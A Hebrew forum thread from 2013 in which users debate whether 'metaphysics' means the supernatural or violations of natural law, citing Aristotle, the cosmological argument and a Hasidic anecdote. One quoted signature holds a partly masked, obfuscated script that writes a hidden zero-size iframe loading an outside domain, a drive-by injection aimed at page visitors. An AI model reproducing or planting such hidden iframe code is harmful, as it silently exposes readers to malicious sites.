| נשלח ב-15/8/2013 01:33 |
 |
| |
מטאפיזיקה זה לא הפרת חוקי הטבע
דיברתי כבר על בלבול נפוץ ועקרוני כאשר לבלתי גשמי קוראים "רוחני"
http://www.bhol.co.il/forum/topic.asp?topic_id=2984027&forum_id=1364
הנושא הזה הוא על בלבול אחר לא פחות עקרוני, כאשר "מטאפיזיקה" מתורגמת כ"על טבעי" ומקבלת משמעות "הפרות חוקי הטבע".
"מטאפיזיקה" זהו שם לספר מאת אריסטו ובספר הזה לא מדובר על הפרות חוקי הטבע, אלא להפך על סיבתיות העולם.
אם דברים גשמיים (פיזיים) נקלטים ישירות בחושים, להבדיל סיבתיות שהיא בלתי גשמית לא נקלטת ישירות בחושים אלא ניתנת להשגה רק שכלית. לכן אפשר אולי לקרוא לה "מטאפיזית".
וספר "מטאפיזיקה" הוא אכן על "סיבות ראשונות", ומכאן הסיבה הראשונה וזה לא "על טבעי" במובן הפרת סדר העולם, אינו טרנסצנדנטי, אלא ניתן להשגה שכלית.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
תוקן על ידי ינוח ב- 15/08/2013 01:59:05
|
|
|
|
| נשלח ב-19/8/2013 01:13 |
|
| |
אחר טען לשני רשויות
|
|
|
|
| נשלח ב-19/8/2013 00:34 |
|
| |
| ביליצר כתב: |  | | אולי חוק אחר טען זאת (-: |
|
יכול להיות, אמרה: אחר הוא.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-19/8/2013 00:03 |
|
| |
לא זה שטען חוק נתן ולא יעבור ,אולי חוק אחר טען זאת (-:
|
|
|
|
| נשלח ב-18/8/2013 23:59 |
|
| |
| ביליצר כתב: | | | ולמרות ההפרה של חוקי הפיזיקה |
|
סליחה, מי זה שטען חוק נתן ויעבור?
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-18/8/2013 23:59 |
|
| |
| ביליצר כתב: | | | כמאמר הגמרא ,זקן ואינו לפי כבודו,ולמרות ההפרה של חוקי הפיזיקה טען שדרוש הסבר פיזי ולא מטאפיזי |
|
אבל אין מי שטועה ללא הפרה
|
|
|
|
| נשלח ב-18/8/2013 23:55 |
|
| |
| ירוחםשמ כתב: | | האם אנחנו יודעים ומכירים את כ ל חוקי הטבע? בכדי להחליט מה הם חוקי הטבע ומה מטאפיסי?
|
|
לא ידוע בדיוק מה הוא מנהג העולם, מובן שלא יהיה ידוע, אבל ברור גם לקדמנו גם לנו כי לא משתנה הוא.
לא ברור לי אם ברור לכולם כי חוק הוא אחד, אלא "חוקים" הם רק מבטים מוגבלים ומקורבים לחוק מיוחד.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-18/8/2013 13:24 |
|
| |
כמאמר הגמרא ,זקן ואינו לפי כבודו,ולמרות ההפרה של חוקי הפיזיקה טען שדרוש הסבר פיזי ולא מטאפיזי
|
|
|
|
| נשלח ב-18/8/2013 12:10 |
|
| |
שאלה
האם אנחנו יודעים ומכירים את כ ל חוקי הטבע? בכדי להחליט מה הם חוקי הטבע ומה מטאפיסי?
תחשבו מה ידעו אנשים על חוקי הטבע לפני מאה ומאתיים שנה?
איך אמרו קדמוננו, החכם יודע כי אינו יודע.
וסיפור- האדמור בעל התניא, השתתף פעם בשמחת נישואים- כמובן שישב בראש השולחן,יחד עם כל המחותנים,
מנהג מקובל נהוג בקהילות חסידים, שבשמחות כאלה יש -בדחן- גראמאר. כמנהג הוא עובר ממחותן למחותן ומתבדח על חשבונו,
הבדחן עבר ממכובד למכובד והתבדח על חשבונו, כשהיגיע לבעל התניא- דילג עליו ועבר , פנה אליו בעל התניא- ואמר בטרוניא- ומה איתי?
אמר הבדחן- האמת היא כי מפני כבודך לא רציתי לצרף גם אותך, אבל אם אתה מתעקש, אז בבקשה.
- מה ההבדל בעצם ביני לבינך? הרי מה שאני יודע גם אתה יודע! ומה שאתה לא יודע, גם אני לא יודע.
אלא ההבדל הוא, במה שאתה יודע ואני לא יודע?
חשוב! מה זה בעצם לעומת הדברים שאתה לא מתחיל לדעת.
כאן חלשה דעתו של בעל התניא, והתעלף.
תוקן על ידי ירוחםשמ ב- 18/08/2013 12:14:12
|
|
|
|
| נשלח ב-18/8/2013 11:10 |
|
| |
הלא שמעת,
!Gott würfelt nicht
"הזקן" לא משחק בקוביות
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-18/8/2013 02:08 |
|
| |
אין מי שטועה בלקרוא לאספקט שאינו מפר את חוקי הפיזיקה בשם מטאפיזי,
|
|
|
|
| נשלח ב-17/8/2013 23:50 |
|
| |
יש מחלוקת בתחום "מיקרו", אבל אין מחלוקת בתחום "מאקרו". אף פיזיקאי לא יטען כי ירח ,יעצור בלי סיבה ויפר את החוק הפיזי.
לגבי "הכול צפוי", זהו האשכול הראשון שלי כאן
http://www.bhol.co.il/forum/topic.asp?topic_id=2870152&forum_id=1364
שום דבר אי אפשר לצפות בצורה מוחלטת, "הכל צפוי" לא יכול להתקיים, כי כרוך באינסוף פרטים, מספרים, אשר אמורים להיות "צפויים" מראש בו-זמנית.
ויחד עם זה, הכול מתקיים לפי חוק. (לדוגמה, אי אפשר לצפות תנועה בראונית, אבל כול חלקיק בראוני נע לפי חוק). אם כי אי אפשר להשיג את החוק האחד בצורה מוחלטת אלא רק בקירוב מסוים ומוגבל.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-16/8/2013 17:15 |
|
| |
אנסה להסביר ,
הטיעון הקוסמולוגי מנסה לחייב שיש סיבה אחד לכל הסיבות ,
עכשיו יש טוענים שמדובר בהיפוטזה כל עוד אינך מכיר משהו דומה בכדי להגיד יש הסתברות ש....
ולכן מעדיפים לדבר על מיקריות ,
עכשיו אם קיימים עוד אספקטים מטאפיזיים יש לטיעון הקוסמולוגי אחיזה יתירה ,
|
|
|
|
|
| נשלח ב-16/8/2013 17:08 |
|
| |
| ביליצר כתב: | |
ינוח
מה שמציק לך במילה מטאפיזי הוא רק כדי להחליש את ההסתברות לטיעון הקוסמולוגי או שתיקון טעויות הוא נורא לרגלך?
תוקן על ידי ביליצר ב- 16/08/2013 15:39:00
|
|
סליחה, מבין אני כי זה בעברית, אם כי אינו מובן.
איזה טיעון הקוסמולוגי? ואיך זה בעברית?
איזה תיקון ואיזה טעויות?
בעיקרון, תיקון טעויות זה בסדר כמובן, לפחות טעויות שלי.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
| נשלח ב-16/8/2013 15:31 |
|
| |
ינוח
מה שמציק לך במילה מטאפיזי הוא רק כדי להחליש את ההסתברות לטיעון הקוסמולוגי או שתיקון טעויות הוא נורא לרגלך?
תוקן על ידי ביליצר ב- 16/08/2013 15:39:00
|
|
|
|
| נשלח ב-15/8/2013 18:41 |
|
| |
| מיימוני כתב: | |
לפיכך אני שואל: היכן אתה מיישם את הדיוק ההיסטורי שלך?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*"); |
|
חשובה לי מציאות ומשמעות מסיבוכי ההיסטוריה.
דעתי כי אינה מציאותית, אינה אמיתית היא השקפה המבוססת על אמונה ב"על טבעי".
מי ששואף להיות בראש ולא בזנב, יישאר בזנב עד שלא יעזוב את האשליות "על טבעי".
מרבים לזהות עכשיו את עמלק, אתרום גם למשימה, "על טבעי", אשליה הזאת היא "קָרְךָ בַּדֶּרֶךְ וַיְזַנֵּב בְּךָ".
נֶבֶּכִים, אשר מאמינים כי חק נתן ויעבור, מאמינים בזה כי לֹא יָרֵאי אֱלֹקים.
_________________
לְיִשְׁרֵי-לֵב שִׂמְחָה
|
|
|
|
|
